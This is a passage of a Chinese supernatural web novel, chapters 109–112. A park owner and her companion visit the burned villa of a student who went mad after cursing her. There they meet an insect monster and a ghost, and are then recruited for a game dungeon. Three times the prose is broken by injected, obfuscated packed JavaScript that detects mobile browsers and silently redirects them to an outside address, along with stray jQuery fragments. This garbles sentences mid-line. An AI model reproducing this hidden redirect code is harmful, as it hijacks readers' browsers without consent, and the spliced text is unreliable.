“现在还忙得过来,等回头缺人的时候再跟你说。” 郝荨随意招呼着,将几人带到鱼人餐厅坐下:“今天这顿我请,随便点啊。” 托盘被重重放在桌上,上头的四杯饮料晃荡两下,洒了些许出来,郝荨一愣,抬头看去,居然是小仓。 她恶声恶气警告道:“不准再打我的船!” 小仓伸手指向上空漂浮着的鱼人节气球,那本应满满当当排成一排的气球现在明显空了几处,看起来坑坑洼洼的,好不可怜。 郝荨目光漂移了一瞬,不等她想好怎么安抚,余光忽然瞥到了几个熟人,她连忙开口:“欢迎欢迎!这次是想来玩什么?” 迎面走来的正是她的第一批游客,她还记得他们的名字,徐知、冯珊珊和成一帆,只唯独少了那个叫钱季铎的富二代。 冯珊珊还是那副开朗元气的模样,她挥挥手道:“园长,你还记得我们呀?” “当然啦,你们可是我的元老级别顾客,想喝什么,我请客!” “不用不用,”冯珊珊连连摆手,“我们刚结束期末考试,就想着在回家之前再来玩一趟,园长,听说咱们乐园出了很多新游戏啦?” “对。” 郝荨叫来小雾,白色的圆滚滚机器人让他们惊喜万分,一人一机器给他们介绍了一番新出的游戏,冯珊珊和成一帆有些纠结,两人在一旁讨论,徐知看了郝荨好几眼,像是有话要说的样子。 见她这样,郝荨干脆起身走到一边。 果然,没过多久,徐知便跟了上来,她性格比较内向,犹豫半晌才开口:“园长,你还记得……钱季铎吗?” 郝荨吸了口饮料,用眼神示意她继续说。 “他上次从乐园回去后,整个人的状态都很奇怪,就像是换了一个人。” “什么意思?” “你应该看得出来,他脾气不是很好,家里又有钱,平时在学校里动不动就发火,可上次回去之后,他突然变得畏畏缩缩,一点动静都会把他吓到,很快,他就办理了退学。” 郝荨放下杯子,上下打量了她一番:“你觉得,他会变成这样和迷雾乐园有关?你要为他出头?” “当然不是!”徐知双眼一下睁大,“我是担心园长被他家长找麻烦,听说他父母在山海市地位很高。” “啊?”成一帆和冯珊珊讨论完了走过来,刚好听到这句,他摇摇头,“不会的。” 想了想,他又补充道:“至少现在不会。” 冯珊珊疑惑:“为什么啊?我记得廖青出事的时候,他爸妈还来学校闹过!” 成一帆好歹也当了很久的钱季铎小弟,对这个大少爷的事要了解的多一些。 “就前几天,他在家里放了把火,还说家里有鬼,具体情况我也不太清楚,只知道那把火之后,他爸妈把他送到了精神病院,听说治疗状况很不理想。” 成一帆打了个哆嗦:“我去他家里看过他,他整个人瘦得跟骷髅似的,还神神叨叨的,说什么……什么怨念,什么怪谈的,太可怕了!” 郝荨动作一顿,抬起了眼。 冯珊珊想起什么:“精神病院?不会是六院吧?我记得——廖青好像也在那?” 109. 别墅探险 “精神病院?不会是六院吧?我记得——廖青好像也在那?” 廖青……郝荨还记得这个名字,据说是钱季铎的前女友。 这个垃圾富二代渣了人家女孩后还不认账,逼得人家精神失常后还死不悔改,如果不是碰上了郝荨这个硬钉子,指不定还要用同样的手段去逼徐知跟他在一起。 他疯了? 【身临其境】只是一个情境连结的技能,说白了,只是让人做个梦罢了,怎么会疯呢? 成一帆挠了挠头:“好像是吧。” 他们不禁有些唏嘘,谁能想到当初害的廖青入院的二世祖,最终也进了那里呢。 徐知担心道:“你见过他?他疯了的时候有提到园长和迷雾乐园吗?” 成一帆想了想,摇了摇头:“我刚进去没多久就被他赶了出来,听他家的保姆阿姨说,钱季铎一直把自己关在房间里,谁都不肯见。” 徐知松了口气,那就好。 “对了,他赶我的时候嘴巴里还在说什么……什么毁,毁了谁?还是什么的,叽里咕噜的,我也没听清楚。” 成一帆没忍住,打了个哆嗦。 他还是往委婉了说的,实际上,当时钱季铎状态已经很不好,浑身上下透出一股伪人的感觉,一直喃喃自语,房间也诡异得很,厚重的窗帘将落地窗遮得严严实实,一丝光亮都没有,只在电脑前放了一盏小灯,屋里有一股若有似无的铁锈味。 更让他害怕的是,推搡间,他踩到了什么粘稠的东西,差点没被绊倒。 太吓人了!他做了好几晚噩梦才缓过神来,然后就听到了钱家失火的消息。 “等一下。”郝荨霍然抬头,“你说什么?” “他、他把我赶走了?” “不是,你说他嘴巴里说什么?” “好像是说要毁了谁,但他以前喝多的时候也会说胡话,今天要这人跪地求饶,明天要那人吃不了兜着走之类的,大多都是说说而已,我也没在意。” 成一帆低下头,有点尴尬。 郝荨微微眯起眼,这句话她可太熟悉了,就在昨天,说同样话的人才刚刚被警察抓走呢! “你知道他家在哪吗?” “啊?”成一帆有些摸不着头脑,“他哪个家?烧了的那个吗?” 郝荨沉默片刻,还是没忍住露出了仇富的眼神,恶狠狠道:“对!” 被她的眼神慑住,成一帆乖乖把地址报给了郝荨。 几人在小雾的推荐下,选择了“鱼人节盛宴”项目,进入游戏后,郝荨回到桌边坐下。 “我一会要出去一下,你们自己玩儿啊。” 霍格突然开口:“你要去别墅区?” “你听到啦?”郝荨一口吸完饮料,没有否认。 霍格伸手点了点自己的耳朵。 哦,差点忘了,这人的听觉很厉害。 再加上迷雾游戏给身体素质的加成,这点距离对他来说应该是轻而易举。 郝荨捏了捏自己的手臂,虽然捏起来还是有些柔软,但她已经能明显感觉到,在那薄薄的皮肤下,她的肌肉在迅速增加。 随着她通关游戏数量的增加,她的各方面身体素质也随之增长,力量、耐力、爆发力,甚至是记忆力都有了明显上升,要不然,就以她这个进游戏的频率,白天开游乐园,晚上还要下副本,估计早就猝死了! 这或许,就是神使所说的…神明的馈赠。 郝荨将发生的事坦然告知,霍格快速地皱了下眉,几秒后,他再次开口:“一起。” 郝荨有些惊讶,她歪着头看了他一会儿,点点头:“好。” 两人三下五除二将餐食吃完,便抛下余逸和方柚柚离开了迷雾乐园。 在他们离开的瞬间,乐园后方还没开发的那片山下,忽然冒出了一颗长满黑毛的脑袋。 然后,是第二颗,第三颗。 如果郝荨在这的话,一定会发现这三颗脑袋她见过。 这不就是乌鬼村的乌神缩小版,还有村长阿婆和她的那个小孙女吗! 乌神抖了抖浑身油亮的毛发,猪鼻子拱了拱山脚下的草,啃了起来。 阿婆粗糙的大手轻柔地摸了摸乌神的背脊:“您很满意这里吗?” “阿婆!我也喜欢这里,就选这里吧!” 小女孩用力踮起脚尖,看了看远处的小楼和游轮,每个人的脸上都带着笑意,叽叽喳喳的,是只有和平才能孕育出的快乐。 她开心地弹跳着,拽了拽阿婆的衣服:“阿婆~” 阿婆禁不住小女孩撒娇,无奈叹了口气:“好,好,我们就选这里。” * 几小时后,郝荨和霍格两人下了出租车。 她看着这片位于山海市另一头的豪华别墅区,抱怨道:“这么贵!都够我买几大箱泡面了!” 让她想一想,有什么办法能从游戏里薅个交通工具出来! 距离实在太远,等他们到小区时天色已经一片漆黑,两人正准备进入小区,一束刺目光线直直射在两人脸上。 “喂!你们俩干嘛的?!” 拿着手电筒的保安是个中年人,他半推开门卫室的窗户朝他们喝道,郝荨还能听到房间里传来的短视频声响。 不大对劲。 以她对有钱人的浅薄认知来看,这种高档小区的保安应该有很高的职业素养,即便不在门口站岗,至少也不该如此懒散,才八点多种就躺在屋里刷手机。 她一时没说话,就这么短短几秒,保安突然变得紧张起来。 “说话!干嘛的?!” 郝荨还是保持沉默,只扭头望了望别墅区,这一看,她就发现了更奇怪的事。 来之前她在网上搜索过,这个小区以高房价和高服务而闻名,也正是因为物业和安保服务齐全,入住率很高,可以说随便扔个搬砖都能砸到个富二代或者小明星。 可现在这片别墅群却黑压压的,只有零星几栋还亮着灯光,看起来死气沉沉。 “不说话?再不说话我要动手了啊!” 保安从桌上捡起电棍给自己壮胆,声音微微颤抖。 郝荨眨了眨眼,忽然结结巴巴道:“‘你’、‘你们俩’……是什么意思?” 霍格神游的眼神瞬间变得无奈,下次要演戏能不能提前说一声。 他心里在腹诽,脸上倒是很配合地露出了吓人的表情,恍惚间,保安大哥甚至感觉自己从对方眼里看到了一闪而过的红光! 郝荨害怕地抱住自己:“这里、这里还有其他人吗?” 保安:! 他瞳孔巨震,视线飞快在郝荨和霍格之间移动,慢慢的,他的手开始抖动,几乎要把手电筒抖下来,脸色“唰”一下变得惨白。 郝荨毫不怀疑,自己如果再说一句,对方就会立刻晕倒。 她连忙堆起笑:“不好意思啊,我开个玩笑。” 见保安大哥还是将信将疑,郝荨走近想要解释—— “别过来!!!” 郝荨:…… 哦豁,好像玩过头了。 她双手抬起做了个投降的手势:“好好,你冷静点,我不过去。” “大哥,我们是来找人的,你看,我们都有影子呀!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149581|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 保安抖着手照向两人脚下,隔了好一会才镇定下来,他没忍住,骂了一句: “有病吧你们!……找谁的,过来登记!” 郝荨凑到窗前:“大哥,你知道钱季铎吗?” 她话没说完,只听“哐当”一声,保安的电棍重重砸在地上,他整张脸都僵硬起来,喉结快速滚动。 “你、你说找谁?” “钱季铎。”郝荨把声音放柔,耐心道,“我们是他同学,他好久不来学校,有点担心,就想来探望探望他。” 听到这话,保安稍稍放下心来,他粗声粗气开口:“你们走吧,他不在。” “啊?他去哪啦?” 保安瞟了她一眼,没有说话。 “大哥,你知道他去哪了吗?电话也不接,消息也不回,难不成一个大活人还能人间消失吗?” “你——真的是他同学?” 见对方怀疑,郝荨干脆跺跺脚:“哈!我倒是想说不是,可他都半个月没联系我了,哪有人对女朋友这样的!” 保安又瞟了她几眼,看她嘟着个嘴,一副气坏了的模样,确实很像是找上门来的前女友。 “他能找你就奇怪了,你还不知道他怎么了吧?” “他还能怎么了!肯定是有别的女生了呗!” “那倒不是。”保安大哥左右看了看,朝她勾了勾手。 “钱家那少爷疯啦!你要找他,恐怕要去医院找喽!” 郝荨一下捂住嘴:“怎么会!他之前还好好的!” “谁说不是呢!” 一说到八卦,保安大哥可算是彻底放松下来。 “这大少爷之前还看着挺好的,这段时间啊,先是大半夜在小区里梦游,手上也不知道哪来的血,吓到我们好几个住户!后来门倒是不出了,天天把自己关在房间里,有人跟他说话他就嚎,吓得他爸妈找了好多大师来看,也没见好,然后,就前几天,唉!也是我倒霉,偏偏就轮到我值班!” “那天我半夜去巡逻,路过他家的时候,突然就听到他大喊了一句‘成了’!没过多久,我刚回到门卫室,就发现他家着火了!” 保安伸手指向其中一座别墅,那别墅烧得黢黑,几乎要跟夜色融在一起。 “喏,就那栋,当天夜里,他爸妈就连夜带人把他送到精神病院去了,他上车的时候我看了几眼,可不得了!他看着跟个骨头架子似的,嘴里还念叨着什么‘不对’、‘骗我’什么的,一看就是真的疯了!我看你啊,也别去找他了,漂漂亮亮一小姑娘,想找什么样的男朋友找不到,干嘛要死嗑个疯子啊!” “怎么会这样……大哥,我们好歹恋爱一场,他还是我初恋,”郝荨一副用情至深的模样,“你能不能放我进去,我想去他长大的地方看看。” 大哥摇摇头,这姑娘怎么还执迷不悟呢! “不行,我们有规定。” “大哥,求你了!我就看一眼,马上就出来!就一眼!不然,我恐怕再也谈不了恋爱了!” “你这……唉!算了,反正这事出了之后业主们都嫌晦气,要么卖房要么就干脆不回来住,行吧,你快点出来啊!” “好嘞!谢谢大哥!” 郝荨朝他笑笑,脚步轻快地转身,霍格正要跟上,却被保安叫住: “诶等等!她是人女朋友,你呢?无关人员不能进小区啊!” “哦!”郝荨急着进去,随口答道,“他是我备胎。” 保安:…… 霍格:…… 见保安不可置信地望向自己,霍格嘴角抽动两下,艰难点了点头:“……嗯。” 110. 别墅探险下 钱季铎家的别墅损毁程度很严重,从外头看去墙面已经完全焦炭化,随时有坍塌的风险。 郝荨绕着别墅转了两圈,有些不解。 “怎么是二楼被烧得只剩框架,一楼看起来还算完整?” 霍格抬起头,他的瞳孔颜色很深,此刻正紧紧盯着二楼其中一间房。 “有东西。” “嗯?” 郝荨顺着他的视线望去,那是整栋屋子里被烧得最严重的房间,混凝土钢筋都被融化了大半,如果她没猜错的话,这里应该就是这场大火的起火点。 可他为什么要在自己房间放火,明明一楼的厨房更容易发生火灾,而且,像这种小区,消防设备应该很齐全才对,怎么会让房子烧到这种程度? “你说上面有东西?是什么?” 霍格一时不知该如何回答,在他的视野中,这栋别墅外包裹了一层厚厚的黑雾,以二楼房间最甚,上方还盘旋着许多红眼睛的渡鸦,叫的人头疼。 忽然,他耳朵一动,警觉回头,郝荨一开始没反应过来,直到一个老太太的声音从她身后传来: “这么晚了,你们在看啥子哦?” 老太太头发花白,好奇地看着他们,脚边还跟着条棕色的小泰迪。 郝荨和霍格对视一眼,不等她想好怎么编,老太太突然神神秘秘靠近:“诶,你们是不是上面派来查钱家那小子的?他家真的闹鬼啊?” 郝荨:“……啊。” “唉哟,我老婆子是年纪大了,又不是傻了,前段时间那个电影,什么…什么局的,不就是讲你们的吗?放心,我嘴巴很严的。” 郝荨沉默两秒,表情一转,正色道:“那还得麻烦您帮我们保密啊,方便打听一下,您说的闹鬼究竟是怎么回事吗?” “当然,当然!”老太太望向别墅,开口道,“我孙子跟他认识,他跟我说,钱家小子好像在网上学了个什么法子,要诅咒人呢!” “诅咒?您知道他要诅咒谁吗?” 老太太想了想:“这我可不大清楚,我孙子就跟我提过一嘴,好像……好像是个女的,哦!我想起来了,好像说是什么管游乐园的!” 郝荨深吸一口气。 游乐园,性别女,好家伙,还真是冲她来的! “上次我在小区散步,差点被他吓得心脏病发呢!” “您看到什么了?” “那天晚上啊,喏,就在那儿!” 老太太抬手指向不远处的一盏路灯,高档小区连路灯都和大马路上不一样,说好听点叫氛围感,难听点就是光线昏暗,除了灯下那一片,其他地方都暗得很。 “他在那蹲着也不知道在干嘛,我家狗差点尿他身上,可把我吓了一大跳。我还想给他道歉呢,谁知道他满手都是血,两眼直勾勾的……” 老太太满脸都写着害怕,她吞了口口水,直到小泰迪靠在她腿上才找回些力气。 “我这才看清楚他在做什么,他居然,在跟自己的影子说话!” 郝荨愣住:“影子?” “嗯!”老太太肯定道,“现在想起来,他那影子也够怪的……反正,不像人的影子!” “您确定没有看错?” “肯定没有!”老太太肯定道。 “好,我知道了,这么晚了,您先回去吧。” 郝荨安慰了几句老太太,便和霍格一起进了别墅。 空气里还弥漫着未散去的焦糊味,郝荨清清嗓子,觉得呼吸有些困难。 她先是转了一圈一楼,除了能看出别墅装修很豪华外,没看出什么别的,她还在思考刚刚门卫和老太太说的话。 钱季铎从迷雾乐园离开后,离现在也不过就十几天,一个大活人怎么会突然“鬼上身”,甚至还放火烧身呢? 他是真的精神出了问题,还是……撞邪了? 郝荨摸了摸自己的脖子,不久前她的脖子上还有一道可见五指的淤痕,只是在体质加成下,这道痕迹已经淡到几乎看不见了。 那个主播会和钱季铎有关吗? 答案应该是肯定的,他们俩在发疯时嘴里说的话都一样,这其中巧合实在太多,让人很难不怀疑那个叫王小明的主播就是钱季铎找来的。 如果这一切推测都正确,那钱季铎……是因为主播计划失败,所以在网上找了另外的办法要害她。 郝荨忍不住握拳,这种人渣,她当初就该蹲在他家楼下,天天半夜给他用【身临其境】! “沙沙。” 一阵轻响从她身后传来。 有人?郝荨猛地转身,别墅里风平浪静,窗外,那个老太太还没走,她抱着那条小泰迪,正往这里张望着。 见郝荨看去,老太太不好意思地笑笑。 不知道是不是玻璃被烧变形的缘故,老太太的脸隔着窗户显得有些扭曲阴森。 郝荨脚步顿了顿,装作没看到似的继续上楼。 “小心。”霍格绕过被烧化的楼梯,低声道。 两人谨慎地上了二楼,相比起还算完整的一楼,二楼可以说是战损版本,地板几乎被全部烧光,郝荨甚至要跳着走才不会摔下去。 忽然,她皱了皱眉:“这是什么?” 原本应该是钱季铎房间的位置只剩下个框架,可诡异的是,这个框架中心放着床的位置竟然完好无损。 郝荨上手检查,当她掀开床罩的时候,整个人不可抑制地倒吸一口凉气。 床下的地板上竟然堆满了大大小小的虫子! 各种奇形怪状的节肢昆虫被白色的网死死粘住,有的早已死去,被周围的同类吞噬殆尽,而有的还剩一口气,薄如蝉翼的脆弱肢体不住颤抖,夜风吹过,激起一片“沙沙”声。 郝荨头皮一阵发麻,一想到钱季铎每天睡觉的时候,床下是个昆虫老巢,她就感觉自己密集恐惧症都要犯了! “唉哟!他怎么、他怎么能在小区里养虫子啊!” 郝荨猛地回过头,才发现老太太不知道什么时候来到了门口,她心里产生了一股奇怪的感觉,郝荨眼神微动望向霍格,恰好看见对方也向她使了个眼色。 “老太太,不是让你早点回去吗?你怎么进来了?” “哦!”老太太支支吾吾道,“我、我一下没看住,让狗跑进来了,我来找它!” “是吗?可我们没有听见狗的脚步声,你看错了吧。” “不、不会吧,它就是跑进来了呀!” 老太太磨磨蹭蹭的,也不去找狗,只自顾自地站在门口往床下看:“诶,那到底是个什么东西啊?” 郝荨朝她笑笑:“您还是早点回去吧,我们要是在屋子里看到狗的话会把它送过去——” “啊!” 老太太忽然大叫一声,她指着床下,露出了极为惊恐的神情:“它动了!” 那团虫网先是轻微的颤了颤,让人怀疑是不是看错了,但很快,这种颤动就变得激烈起来,她甚至能看到虫网下方的黑影,那黑影拼命扭动着,想要挣脱束缚。 “刺啦——” 虫网裂开了条缝,露出一只红色的复眼,这只眼睛慢慢在三人之间转了一圈,然后停在了郝荨身上。 “毁……毁了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158139|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它没有发声器官,却发出了一种与人类语言很像的嗡鸣声。 这声音一经发出,他们脚下的影子便随之震动。 霍格抄起一截钢筋挡在她们面前:“你们先走。” “好。” 郝荨转身就跑,老太太年纪大了,腿脚也不好,没走两步就开始喘气。 幸好她身体素质强化过,郝荨干脆一把背起老太太就要往楼梯冲刺。 老太太一把抓住她的肩膀:“狗!我的狗!” “别急!” 她三步并作两步把老太太送出了别墅:“能走吗?你先回去,我去帮你找狗。” 说完,她便再次回到了别墅里,刚一进去,郝荨就踩到了什么,她低头一看,竟然是血! “霍格!” 她还以为是霍格受伤了,但很快,她就发现了不对。 地上的血越来越多,她走到楼梯口时,鞋子已经几乎埋在了血块里,脚感柔软又黏腻,像是踩在了什么幽深的淤泥之中。 二楼的扶手被白色的虫网覆盖,整栋楼连一处下脚地都找不到。 “砰!” 只听一声巨响,霍格从二楼的楼梯上一跃而下,重重摔在了血块之中。 “霍格!”郝荨连忙上前去扶,“这是怎么回事?!” 霍格挥挥手:“别说这些了,我们先离开。” 郝荨将他扛起,两人深一脚浅一脚地往门口走,这是他们头一次靠这么近,郝荨被他冻的打了个哆嗦:“你身上好冷,没事吧?” “没事。” 霍格冰凉的手指划过她的脖颈,郝荨忍不住离远了点,背上起了一片鸡皮疙瘩。 “别动。” 郝荨身体忽的僵硬。 冰冷气息喷洒在她的耳后,郝荨强忍住把他扔出去的冲动,试探道:“看来我这个前男友是没救了,你准备好上岗了吗?” 霍格手上的动作一顿,接着,突然“嗤嗤”笑了出来: “你发现了啊……” 他轻叹道,冰凉的五指按在了郝荨的脖子上,缓缓收力。 “既然他创造了我,总该帮他达成些愿望。” “霍格”眨了下眼,再睁开眼时,他的眼珠已经变成了密密麻麻的红色复眼,无数瞳孔在他的眼中轻轻张阖。 “你那座游乐园真是奇怪,居然能将我们拦在外头,害的我只能靠人类的影子躲躲藏藏,还要想办法引你过来……我可最讨厌动脑子了。” 他的嘴巴一张一合,渐渐的,嘴巴变成了口器模样,“霍格”的脸也向外凸起,只几秒钟而已,他就成了一只混杂了钱季铎的脸还有各种节肢的诡异人虫。 “不过没关系,现在,游戏结束。” 他的手瞬间收紧,郝荨的脸一下子涨红起来,她要窒息了! “汪!” 突然,一声狗叫从他们头顶传来,怪物还没来得及抬头,那只小泰迪就从天花板的洞里跳了下来,英勇地咬上了这只大虫子! “快跑!” 郝荨只感觉手上一紧,就被老太太拽了出去,紧接着,一截钢筋从不远处飞来,又是一声巨响。 人虫的头“砰!”一下爆开,脓水四溅。 真正的霍格面无表情站在那:“啧,我讨厌虫子。” 人虫动了动身体,快速从脖子处长出了个肉球,短短几秒后,肉球就重新变回了他的脑袋。 他也学着霍格的样子“啧”了一声:“我也讨厌你。” 郝荨双目圆睁,我靠! 不讲道理啊,怎么还带无限复原挂的! 111. 蜂女 见势不妙,郝荨立刻招呼霍格跑路,幸好这虫子似乎还无法离开别墅,不然他们说不定还得折在这里。 郝荨喘着粗气,冷风吹过,她起了一身白毛汗。 谁能想到,她只是来查个渣男,却遇见了这么恐怖的大虫子! 郝荨吸吸鼻子,突然,她闻到了一股烟味。 不远处的路灯下,一男一女正蹲在那烧着什么。 那个短发女人很警惕,几乎是她刚看过去,那女人就敏锐地抬起了头。 郝荨扬起笑脸:“你们好啊。” 那女人没说话,反倒是那个男生愣了一下,腼腆地跟她打了个招呼。 郝荨走近一瞧,这才发现他们面前摆着一袋黄纸折成的金元宝,不是很规整,看起来像是自己的折的。 她好意劝告:“你们最好离远点哦,这里不大安全。” 女人扫了她一眼,望向霍格时很明显地愣了一下,郝荨心生疑惑,也回过头去,恰好看到霍格从黑暗里走出。 “咦?老太太呢?” 他的身后空空如也,什么都没有。 “泰迪也不见了?奇怪……” “泰迪?”烧元宝的男生条件反射般抬起头,“什么泰迪?!” “一只棕色的小体泰迪,很活泼——”郝荨倏然住口。 越过火焰,一个相框被好好地摆在那里,相框里是一个老太太抱着泰迪的照片,正是刚刚在楼前碰到的那位! “你、你说你看到了棕色泰迪?”男生打了个冷战,短发直竖,“我们小区里只有一只棕色泰迪……” 他看到郝荨盯住照片的震惊眼神,喉结滚动,发出一声响亮的“咕咚”声。 他的脸瞬间红了,身旁的短发女人忽然嘴角弯起,露出一个不熟练的微笑,笃定道:“你看错了吧。” “可是,姐——” “嗯,”郝荨点头,“可能是跑进来的流浪狗,跟你照片里的这只有点像,吓到你了,对不住啊。” 男生挠了挠头,还是不死心:“可、可是,你还说老太太……” “烧完了。” 女人站起身,打断了男生的话,她拍了拍手上的灰道:“你拿回去吧,我还有事。” 可能是迫于姐姐的威压,男生嘟嘟囔囔着提着东西离开。 等他走后,短发女人收起微笑,恢复了那张有些严肃的冷脸,郝荨站在原地没动,在等对方先开口,她有预感,这人一定有话要说。 女人拿起手机打了几个字,然后冷静抬头:“霍格?正好,有事找你。” 郝荨和霍格双双愣住。 她困惑扭头,自己愣住也就算了,霍格怎么也一副不认识对方的样子啊! 霍格微微眯眼,眼神仔细地在短发女的脸上转了一圈,还是不认识。 短发女又点了几下手机屏幕,接着,她抬起手,将手机翻转,那上面竟然是霍格的资料。 好家伙! 郝荨快速扫视了一眼,霍格进的副本竟然密密麻麻塞满了整个屏幕,数都数不清,最上面还有一个标红的数字,用大号字体写着【状态:离职申请中】。 她不由得想到一些经典□□片,因为某种众所周知的原因,成员一旦离职就会被各大杀手追杀……现在不会也是这个情况吧? 她后退两步,跟霍格站到一起,正准备说些什么,霍格却“哦”了一声:“蜂女。” 他似乎知道了对方是谁,低头解释道:“她是巴别塔的记录员。” 那不是更可怕了! 她知道那么多关于霍格的信息,刚刚还在发消息,保不准就是在摇人! 郝荨不着痕迹地将手伸到霍格身后,拉了拉对方的T恤,低声道:“我数三个数,准备跑路。” 霍格微微睁大双眼,有些惊讶。 “3、2——” “你要逃?” 蜂女面容冷酷,明明是人类,浑身上下却透着一股子机械感,一板一眼。 但此刻,她的眼里满是不解:“为什么要逃?我只是找他帮忙。” 郝荨:…… 真的吗? 她扭头看向霍格,霍格满眼无辜地点了点头。 蜂女忽然反应过来,她不敢置信:“你不会以为我们是什么恶霸帮派吧?” 郝荨:啊这…… “我们巴别塔之歌攻略组是正规组织,想脱离组织只要提交申请,等会长通过就行了!” 郝荨“哈哈”笑了两声:“这样啊,那、那你们聊。” 她尴尬的脸都红了! 你们一个游戏公会,搞这么正规干嘛啊! 霍格拍拍她的肩膀安慰,上前一步:“找我什么事?” 蜂女又在手机上点了好几下,然后皱起了眉毛,手机屏幕上一个硕大的圈圈不停旋转着。 “稍等,系统崩了。” 她抬手打了个电话,开口就是一顿咆哮:“……又崩了,是这个月第几次了?!……没钱?没钱你和暴君说,我不负责这方面,嗯,快点!” 挂断电话的瞬间,她立刻又恢复了面无表情,郝荨叹为观止。 在等人修复系统期间,蜂女想起什么,开口道:“对了,你们刚刚说,看到我奶奶和她的狗了?” 郝荨点头,将刚刚发生的事告诉了对方,顺便打听了一下情况。 原来蜂女和刚刚的烧纸男是堂姐弟,老太太是他们俩的奶奶,俩姐弟平时不住这里,老太太觉得寂寞,就养了条活泼的小泰迪,每天在别墅区里散散步,日子过得可别提多舒坦。 只是没想到……钱季铎这个花花大少竟然能搞出这种事。 一开始他只是看着阴沉了些,大家都是邻里邻居的,堂弟还去打听过他的境况,只是没说两句便被赶了出来,直到有天晚上,老太太一觉醒来发现泰迪不见了,她家的栅栏不算密,以小泰迪的身形完全可以挤出去,偶尔它也会自己出去溜达一圈,可那天不知怎的,老太太硬是坐立难安,怎么都睡不着,老太太干脆起身出去寻它。 然后,她就看到了让她精神崩溃的一幕。 钱季铎蹲在门口的路灯下,低声呢喃着,用刀一下、又一下地用力刺向自己的影子。 他满手鲜血,而在他的影子中……这只活泼可爱的小泰迪已经成了一滩肉泥。 老太太受到刺激,当场心脏病发,没过多久,便跟着去了。 蜂女还说,他们加本想找钱季铎要个说法,可谁知钱季铎竟然疯了! 钱家父母以钱季铎精神病发为由,赶走了他们。 她本来还以为是钱家的借口,可没想到,奶奶连头七都还没到,钱季铎就一把大火把自己送进了六院。 蜂女突然开口:“谢谢。” 郝荨茫然:“谢我什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178110|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “本来看到钱季铎变成这样,我们家也只能算了,不过现在,”蜂女眼神骤然凌厉,“既然知道是怨念搞的鬼,游戏的世界——就该以游戏的规矩解决。” “叮。” 她的手机响了一下,蜂女看了眼便将手机递给了霍格,郝荨凑过去查看,手机屏幕上是一张照片。 “W夫人的邀请函?” 照片上是一座历史悠久的欧式风格古堡,坐落于山丘之上,簇拥着深深浅浅的紫藤花,神秘又梦幻。 如果不是上面写着“邀请函”字样的话,她还以为是哪个旅游胜地的广告。 蜂女点头:“A级特殊副本【W夫人的舞会】,霍格,虽然你的离职申请已经在走流程了,但我们还是希望你可以帮这个忙。” 霍格有些不明白:“这个副本很特别?” 区区A级副本而已,对普通玩家来说算是困难,但对巴别塔而言,通关它应该不是难事,远的不说,他虽然没和蜂女一起下过本,但也听过她的名头,能成为会长暴君的左膀右臂,至少也通关过一次S级副本才对,何必非要他去。 “很特别。”蜂女揉了揉自己的太阳穴,“这场游戏有个限制,只允许中阶玩家进入。” 但以巴别塔之歌攻略组给出的分阶,C-B阶的副本才是中阶副本,A阶已经到达高阶副本的范畴。 “而上一场游戏,攻略组有几个玩家一起折在了里面,也没有任何信息传递出来。” 蜂女有些头疼,巴别塔之歌作为大型玩家公会,想要良好运转必然有一定规则,攻略组的规则就是老带新,一对一帮扶,新的一批成长之后会自觉带领下一批新人,每一场游戏他们都会带出通关攻略和线索,公会有专门的人研究这些,提炼出关键信息来帮助其他人通关。而这次进入游戏的这几个玩家刚好是攻略组培养的种子选手,其他就更不用提他们从攻略组拿的道具了,真可谓是损失惨重。 她望向霍格:“本来不应该找你,但你这不是出bug了吗?你的等阶退了回去,但实际经验能力都是高阶,没有人会比你更合适了。” 霍格沉默了几秒,有些犹豫地看了眼郝荨。 蜂女敏锐地捕捉到了这个视线,她瞬间了然,转而对着郝荨说:“舞会邀请函是双人的,如果你愿意的话,可以跟他一起进,当然,公会不会亏待帮助我们的人,我们会提供进本的道具,另外,也会给你们这个数。” 她伸手比了个数字,那是一个让对方无法拒绝的数。 郝荨一把握住对方的手,眼睛发亮:“那就这么说定了!” 蜂女用力拔出自己的手,她不习惯和人亲密接触。 她点开日历:“下一场舞会在下周二,在这之前,你们可以先准备准备,准备好了就来迷雾大厅的包厢区找我,霍格知道地址。” 蜂女走得很快,转身前,她远远眺望了一下钱家的别墅,瞳孔微微闪动,似乎在思考什么。 “走吧,回家!” 郝荨笑眯眯的,钱家别墅的事暂时有人解决,她还能赚一笔数额巨大的外快,等这笔钱拿到,她就再也不需要靠吃泡面省经费了! 这样的好心情一直持续到回到员工宿舍,被余逸的一声惨叫打断: “荨姐!救命!” 余逸连滚带爬从他房间冲出:“系统任务更新了,我下一场游戏是升阶考核!!!” 112. 进入副本 “所以……你的准备,就是窝在这儿打游戏?” 郝荨双臂环胸,靠在门口,盯着休息室里的两人。 